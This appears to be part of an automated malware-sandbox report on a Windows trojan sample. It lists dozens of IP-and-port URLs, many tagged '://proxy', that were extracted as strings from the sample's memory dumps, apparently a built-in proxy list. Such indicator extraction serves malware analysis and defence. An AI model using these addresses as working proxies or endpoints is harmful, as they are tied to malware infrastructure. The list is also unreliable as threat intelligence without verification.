Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.70.79.2:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.70.79.3:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.70.79.3:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.72.79.65:45872
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.72.79.65:45872://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.73.158.115:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.73.158.115:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.74.229.133:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.74.229.133:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.74.229.133:8080x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.75.117.79
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.75.117.79://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.76.104.30:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.76.104.30:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.76.148.92:8181
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.76.148.92:8181://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.76.172.230:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.76.172.230:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC152000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.76.190.37:31756
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.76.190.37:31756://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.76.253.66:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.76.253.66:3129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.78.0.44:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.78.0.44:3129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.78.170.13:83
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.78.170.13:83://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.78.171.10:83
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.78.171.10:83://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7860000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.78.210.178:30000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.78.210.178:30000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.78.25.99:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.78.25.99:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.78.54.10:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.78.54.10:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8280000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.78.96.146:8181
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C847F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.78.96.146:8181://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7D8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.79.96.145:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.79.96.145:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.79.96.193:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.79.96.193:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.8.59.1:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.8.59.1:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.80.237.10:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.80.237.10:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1CE000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6756000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.80.77.1:443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6756000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.80.77.1:443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.80.77.252:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.80.77.252:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.81.117.225:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.81.117.225:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.81.152.10:83
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.81.152.10:83://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.81.152.58:83
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.81.152.58:83://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.81.212.192:83
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.81.212.192:83://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.82.157.102:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.82.157.102:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.83.0.46:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.83.0.46:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.83.178.42:8181
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.83.178.42:8181://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.83.179.78:2016
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6718000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.83.179.78:2016://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.83.232.122
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.83.232.122://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.83.232.122:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.84.134.1:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.84.134.1:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.84.134.9:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.84.134.9:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.84.177.27:8083
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.84.177.27:8083://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C760E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.84.177.30:8083
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.84.177.30:8083://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.86.1.25:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.86.1.25:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8DCC000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8DAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.87.170.239:32650
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8DD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.87.170.239:32650://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAA57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.9.188.138:52269
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAAC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.9.188.138:52269://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.91.82.177:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.91.82.177:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.94.133.93:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.94.133.93:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC4B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.95.98.36:1088
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.95.98.36:1088://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.96.38.161
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.96.38.161://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.96.38.161:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.128.103.32:64312
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.128.103.32:64312://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE7B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.129.199.34:8800
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.129.199.34:8800://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.104.12
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7708000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.104.12://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.106
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.106://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.106:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.142
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.142://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.142:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.146
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.146://proxyxD
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.146:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.15
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.15://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.15:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.182
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.182://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.182:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.198
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.198://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.198:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.207
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.207://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.207:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.106.154
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6712000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.106.154://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.106.154:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.106.234
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.106.234://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.106.234:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.106.65
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.106.65://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.106.65:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.107.142
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.107.142://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.107.142:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.107.206
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.107.206://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C76F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.107.206:80
